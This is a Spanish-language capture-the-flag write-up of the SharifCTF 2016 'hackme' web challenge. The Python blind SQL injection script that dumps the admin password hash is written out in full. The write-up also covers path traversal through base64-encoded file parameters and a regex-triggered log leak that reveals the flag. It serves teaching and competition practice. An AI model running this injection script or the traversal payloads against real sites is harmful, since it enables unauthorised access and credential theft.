Buenas!
Os traigo el writeup del otro reto del finde. Parece ser que el CTF de repente pasó a valer de 0.0 a 25.0 puntos de peso sin previo aviso, por lo que nos descolgamos un poco del ranking. A partir de ahora tendremos que jugar siempre por si acaso.. -_-
Sin más, "hackme", reto web de 400 puntos en el que había que encadenar varias vulnerabilidades.
Antes de nada, nos dan el link a una web donde solo se ve un login. Después de unas cuantas pruebas compruebo que el campo de Username es vulnerable a blind SQLi.
Solo hay un usuario ("admin") y su contraseña mide 32 caracteres de longitud, por lo que muy probablemente será un md5. Para dumpearlo, hice el siguiente script:
#!/usr/bin/python
#
# Web 400 blind sqli - SharifCTF 2016
# by xassiz
#
import requests, re
url = 'http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/login.php'
def getCSRF():
global url
s = requests.Session()
source = s.get(url).text
token = re.search("[a-f0-9]{32}", source).group(0)
return s, token
def inject(query, verbose=False):
global url
payload = "' or (%s) -- -" % query
s, token = getCSRF()
d = dict(username=payload, password='', Login='Login', user_token=token)
result = s.post(url, data=d)
if verbose:
print "\n[?] %s" % payload
return (not 'incorrect' in result.text)
if __name__ == '__main__':
result = ''
query = "(select mid(password, %d, 1) from user)='%c'"
for i in range(1, 32+1):
for x in 'abcdef0123456789': # hex alphabet
if inject(query % (i, x)):
print "\n[%d] New char found! '%c'" % (i, x)
result += x
break
print "\n\nPassword is: %s" % result
Password is: 26a340b11385ebc2db3b462ec2fdfda4
Lo metemos en crackstation.net y nos dice que el hash es de => "catchme8".
Una vez loggeados, vemos un uploader de CVs (PDF), una herramienta para hacer PING y un link "Help" que parece roto, con una URL sospechosa:
http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/file.php?page=aGVscC5wZGY
Resulta que base64_decode("aGVscC5wZGY") == "help.p", por lo que completando el padding salen los dos caracteres que faltan ("aGVscC5wZGY=") y el archivo de ayuda se descarga.
Pruebo a bajar "file.php" no funciona, pero pruebo "../file.php" y voilà:
view-source:http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/file.php?page=Li4vZmlsZS5waHA=
<?php
if (extract_teamname_from_cookie("hackme") === false)
exit;
define('SHPA_WEB_PAGE_TO_ROOT', '');
require_once SHPA_WEB_PAGE_TO_ROOT . 'function.php';
shpaEchoHeader();
shpaCheckAuth();
// The page we wish to display
$file = $_GET[ 'page' ];
$attachment_location = $_SERVER["DOCUMENT_ROOT"] . "/hack.me/" . base64_decode($file);
//die($attachment_location);
if (file_exists($attachment_location)) {
if (strpos(realpath($attachment_location), "/var/www/") !== 0)
die();
header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
header("Cache-Control: public"); // needed for i.e.
header("Content-Transfer-Encoding: Binary");
header("Content-Length:".filesize($attachment_location));
header("Content-Disposition: attachment; filename=file.pdf");
header("Content-Type: application/pdf");
$data = file_get_contents($attachment_location);
$data = sharifctf_internal_put_it($data, "hackme");
echo $data;
die();
} else {
die("Error: File not found.");
}
?>
A partir de aquí podemos ver el resto de los archivos: index.php y ping.php.
Empiezo por ping.php, ya que es habitual encontrar command execution en estas herramientas. Después de echarles un ojo, parece que es bastante robusto, hace un explode con "." y comprueba que hay 4 trozos y los 4 son numericos. Solo si todo eso se cumple llama a shell_exec().
<?php
...
if( isset( $_POST[ 'Ping' ] ) ) {
shpaCheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'IP' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
shpaMessagePush("<pre>{$cmd}</pre>");
}
else {
// Ops. Let the user name theres a mistake
shpaMessagePush("<pre>ERROR: You have entered an invalid IP.</pre>");
}
}
...
?>
Así que la chicha estaría en index.php que tiene el uploader:
<?php
...
if (isset($_POST['Upload'])) {
global $mysqli;
shpaCheckToken($_REQUEST['user_token'], $_SESSION['session_token'], 'login.php');
$fileContents = $_FILES['cvfile']['type'];
$fileName = $_FILES['cvfile']['name'];
//<svg onload=alert(1)>
shpaDatabaseConnect();
$user = $_POST['first'];
$userget = $_GET["first"];
$user = stripslashes($user);
if (!is_null($user) && strlen($user) > 1 && $fileContents=="application/pdf") {
if(!is_null($userget) && strlen($userget) > 1){
$isAttack = preg_match('/<(?:\w+)\W+?[\w]/', $userget);
$usertrim = trim(preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $userget));
$user=$userget;
if($isAttack && $usertrim==$userget){
$iserror = true;
$classname = "danger";
shpaMessagePush("error: saved in sensitive_log_881027.txt");
}
}
else{
$iserror = false;
$classname = "info";
shpaMessagePush("Done");
}
} else {
$iserror = true;
$classname = "danger";
shpaMessagePush("please fill First Name and Attach valid Cv file(pdf)!!!");
}
}
...
?>
El código no tiene mucho sentido (el $_GET['first'] no viene a nada), pero llama la atencion la linea del sensitive_log_881027.txt..
Lo único que hay que hacer es provocar que se ejecute ese if, para ello hay que hacer que la regexp matchee. Una vez el archivo creado, si intentamos acceder a él nos tira Forbidden, asi que usamos el bug anterior para leerlo:
view-source:http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/file.php?page=Li4vc2Vuc2l0aXZlX2xvZ184ODEwMjcudHh0
SharifCTF{dd9879e2c4cbf0ecf33c35ec55a4e033}
Saludos!
xassiz
No hay comentarios